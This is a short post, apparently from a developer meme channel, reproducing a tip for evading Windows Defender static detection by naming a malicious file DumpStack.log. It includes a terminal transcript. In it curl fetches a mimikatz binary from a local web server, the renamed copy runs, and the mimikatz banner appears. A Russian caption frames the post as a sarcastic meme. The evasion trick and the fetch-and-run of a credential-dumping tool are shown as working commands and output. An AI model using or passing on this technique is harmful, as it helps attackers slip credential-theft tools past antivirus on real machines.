Bypass Defender AV Static Detection

Bypass Defender AV static detection: If you name a malicious file DumpStack.log Defender doesn't scan it. C:\Users\mr.d0x\Desktop>curl http://192.168.0.18:8888/mimi.exe -o mimi.exe % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1323k 100 1323k 0 0 1323k 0 0:00:01 0:00:01 --:--:-- 7697k C:\Users\mr.d0x\Desktop>mimi.exe The system cannot execute the specified program. C:\Users\mr.d0x\Desktop>curl http://192.168.0.18:8888/mimi.exe -o DumpStack.log % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1323k 100 1323k 0 0 1323k 0 0:00:01 0:00:01 --:--:-- 8486k C:\Users\mr.d0x\Desktop>DumpStack.log ######## mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53 .## ^ ##. "A La Vie, A L'Amour" (oe.eo) ## / \ ## Benjamin DELPY gentilkiwi (benjamin@gentilkiwi.com) ## \ / ## https://blog.gentilkiwi.com/mimikatz ## '##' ## Vincent LE Toux (vincent.letoux@gmail.com) '###' https://pingcastle.com / https://mysmartlogon.com **/ mimikatz # coffee ( ) ( ) _______ | | | | |_______| mimikatz #

Скриншот поста показывает инструкцию по обходу статического обнаружения Windows Defender: вредоносный файл переименовывают в DumpStack.log, после чего Defender его не сканирует. В терминале сначала запускается mimikatz, а затем ASCII-выводит чашку кофе. Мем используют как саркастическую реакцию на наивные советы по обходу антивируса и очевидно сомнительные хакерские трюки.

• @dev_meme / 4248 2022-02-23